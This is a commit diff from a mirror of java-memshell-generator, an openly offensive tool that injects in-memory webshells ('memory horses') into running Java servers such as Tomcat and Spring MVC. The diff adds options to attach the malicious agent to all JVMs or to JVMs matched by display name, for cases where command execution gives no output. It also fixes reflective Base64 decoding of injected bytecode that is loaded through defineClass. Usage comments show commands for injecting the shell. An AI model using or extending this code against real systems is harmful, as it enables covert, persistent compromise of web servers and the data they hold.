mirror of
https://github.com/pen4uin/java-memshell-generator.git
synced 2026-09-22 01:30:43 +08:00
优化 java agent 马参数选项,贴合实战场景(命令执行无回显)
This commit is contained in:
@@ -17,6 +17,7 @@ import java.lang.reflect.Method;
|
|||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.net.URLClassLoader;
|
import java.net.URLClassLoader;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
|
||||||
public class SpringMVCAgentTransformer implements ClassFileTransformer {
|
public class SpringMVCAgentTransformer implements ClassFileTransformer {
|
||||||
@@ -59,7 +60,7 @@ public class SpringMVCAgentTransformer implements ClassFileTransformer {
|
|||||||
" } catch (Throwable e) {\n" +
|
" } catch (Throwable e) {\n" +
|
||||||
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
|
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
|
||||||
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
|
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
|
||||||
" byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" +
|
" byteArray = (byte[]) decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(decoder, new Object[]{injectorCode});\n" +
|
||||||
" }\n" +
|
" }\n" +
|
||||||
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
|
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
|
||||||
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
|
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
|
||||||
@@ -132,22 +133,45 @@ public class SpringMVCAgentTransformer implements ClassFileTransformer {
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
参数说明见 TomcatAgentTransformer
|
||||||
|
*/
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
String jvmProcessId = null;
|
|
||||||
if (args.length == 0) {
|
if (args.length == 0) {
|
||||||
// 列出所有 pid
|
|
||||||
listAllJvmPids();
|
listAllJvmPids();
|
||||||
} else {
|
}
|
||||||
try {
|
else if (args.length == 1) {
|
||||||
Integer.parseInt(args[0]);
|
String arg = args[0];
|
||||||
jvmProcessId = args[0];
|
if (arg.equalsIgnoreCase("all")) {
|
||||||
attachAgentToTargetJvm(jvmProcessId);
|
for (String jvmProcessId : getAllJvmPids()) {
|
||||||
} catch (NumberFormatException e) {
|
attachAgentToTargetJvm(jvmProcessId);
|
||||||
throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID");
|
}
|
||||||
}
|
}
|
||||||
|
else {
|
||||||
|
try {
|
||||||
|
Integer.parseInt(arg);
|
||||||
|
attachAgentToTargetJvm(arg);
|
||||||
|
}
|
||||||
|
catch (NumberFormatException e) {
|
||||||
|
for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
|
||||||
|
attachAgentToTargetJvm(jvmProcessId);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static List<String> getAllJvmPids() throws Exception {
|
||||||
|
List<String> pids = new ArrayList<>();
|
||||||
|
for (Object vm : vms) {
|
||||||
|
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||||
|
String id = (String) getId.invoke(vm);
|
||||||
|
pids.add(id);
|
||||||
|
}
|
||||||
|
return pids;
|
||||||
|
}
|
||||||
|
|
||||||
public static void listAllJvmPids() throws Exception {
|
public static void listAllJvmPids() throws Exception {
|
||||||
for (Object vm : vms) {
|
for (Object vm : vms) {
|
||||||
@@ -159,6 +183,23 @@ public class SpringMVCAgentTransformer implements ClassFileTransformer {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
|
||||||
|
List<String> pids = new ArrayList<>();
|
||||||
|
for (Object vm : vms) {
|
||||||
|
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
|
||||||
|
String currentDisplayName = (String) displayNameMethod.invoke(vm);
|
||||||
|
System.out.println(currentDisplayName);
|
||||||
|
System.out.println(displayName);
|
||||||
|
System.out.println();
|
||||||
|
if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
|
||||||
|
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||||
|
String id = (String) getId.invoke(vm);
|
||||||
|
pids.add(id);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return pids;
|
||||||
|
}
|
||||||
|
|
||||||
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
|
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
|
||||||
String agentFilePath = new File(SpringMVCAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
|
String agentFilePath = new File(SpringMVCAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
|
||||||
infoLog("Current agent path: " + agentFilePath);
|
infoLog("Current agent path: " + agentFilePath);
|
||||||
|
|||||||
@@ -17,6 +17,7 @@ import java.lang.reflect.Method;
|
|||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.net.URLClassLoader;
|
import java.net.URLClassLoader;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
|
||||||
public class TomcatAgentTransformer implements ClassFileTransformer {
|
public class TomcatAgentTransformer implements ClassFileTransformer {
|
||||||
@@ -136,22 +137,55 @@ public class TomcatAgentTransformer implements ClassFileTransformer {
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
使用方法:
|
||||||
|
java -jar jmg-agent.jar // 列出所有的 JVM 进程 ID
|
||||||
|
java -jar jmg-agent.jar all // 将 agent 注入到所有 JVM 进程
|
||||||
|
java -jar jmg-agent.jar [pid] // 将 agent 注入到指定的 JVM 进程,其中 [pid] 是 JVM 进程的 ID
|
||||||
|
java -jar jmg-agent.jar [displayName] // 将 agent 注入到所有 displayName 包含 [displayName] 字符串的 JVM 进程
|
||||||
|
*/
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
String jvmProcessId = null;
|
// 无参数 - 列出所有 JVM 进程 ID
|
||||||
if (args.length == 0) {
|
if (args.length == 0) {
|
||||||
// 列出所有 pid
|
|
||||||
listAllJvmPids();
|
listAllJvmPids();
|
||||||
} else {
|
} else if (args.length == 1) {
|
||||||
try {
|
String arg = args[0];
|
||||||
Integer.parseInt(args[0]);
|
// "all",将 agent 注入到所有 JVM 进程(试验性功能,缺少实战验证,所以自行编译使用)
|
||||||
jvmProcessId = args[0];
|
if (arg.equalsIgnoreCase("all")) {
|
||||||
attachAgentToTargetJvm(jvmProcessId);
|
for (String jvmProcessId : getAllJvmPids()) {
|
||||||
} catch (NumberFormatException e) {
|
attachAgentToTargetJvm(jvmProcessId);
|
||||||
throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID");
|
}
|
||||||
}
|
}
|
||||||
|
// JVM 进程 ID,将 agent 注入到指定的 JVM 进程
|
||||||
|
else {
|
||||||
|
try {
|
||||||
|
Integer.parseInt(arg);
|
||||||
|
attachAgentToTargetJvm(arg);
|
||||||
|
} catch (NumberFormatException e) {
|
||||||
|
/*
|
||||||
|
WHY: 解决命令执行无回显、但又不想注入到所有 JVM 进程(比参数 'all' 更优雅一点)
|
||||||
|
WHAT:不是 JVM 进程 ID,将其视为 displayName,并将 agent 注入到所有 displayName 包含该字符串的 JVM 进程
|
||||||
|
HOW: tomcat -> org.apache.catalina.startup.Bootstrap,可使用 java -jar jmg-agent.jar catalina 注入内存马
|
||||||
|
*/
|
||||||
|
for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
|
||||||
|
attachAgentToTargetJvm(jvmProcessId);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static List<String> getAllJvmPids() throws Exception {
|
||||||
|
List<String> pids = new ArrayList<>();
|
||||||
|
for (Object vm : vms) {
|
||||||
|
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||||
|
String id = (String) getId.invoke(vm);
|
||||||
|
pids.add(id);
|
||||||
|
}
|
||||||
|
return pids;
|
||||||
|
}
|
||||||
|
|
||||||
public static void listAllJvmPids() throws Exception {
|
public static void listAllJvmPids() throws Exception {
|
||||||
for (Object vm : vms) {
|
for (Object vm : vms) {
|
||||||
@@ -163,6 +197,23 @@ public class TomcatAgentTransformer implements ClassFileTransformer {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static List<String> getJvmPidsByDisplayName(String displayName) throws Exception {
|
||||||
|
List<String> pids = new ArrayList<>();
|
||||||
|
for (Object vm : vms) {
|
||||||
|
Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName");
|
||||||
|
String currentDisplayName = (String) displayNameMethod.invoke(vm);
|
||||||
|
System.out.println(currentDisplayName);
|
||||||
|
System.out.println(displayName);
|
||||||
|
System.out.println();
|
||||||
|
if (currentDisplayName.toLowerCase().contains(displayName.toLowerCase())) {
|
||||||
|
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
|
||||||
|
String id = (String) getId.invoke(vm);
|
||||||
|
pids.add(id);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return pids;
|
||||||
|
}
|
||||||
|
|
||||||
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
|
private static void attachAgentToTargetJvm(String targetPID) throws Exception {
|
||||||
String agentFilePath = new File(TomcatAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
|
String agentFilePath = new File(TomcatAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath();
|
||||||
infoLog("Current agent path: " + agentFilePath);
|
infoLog("Current agent path: " + agentFilePath);
|
||||||
|
|||||||
Reference in New Issue
Block a user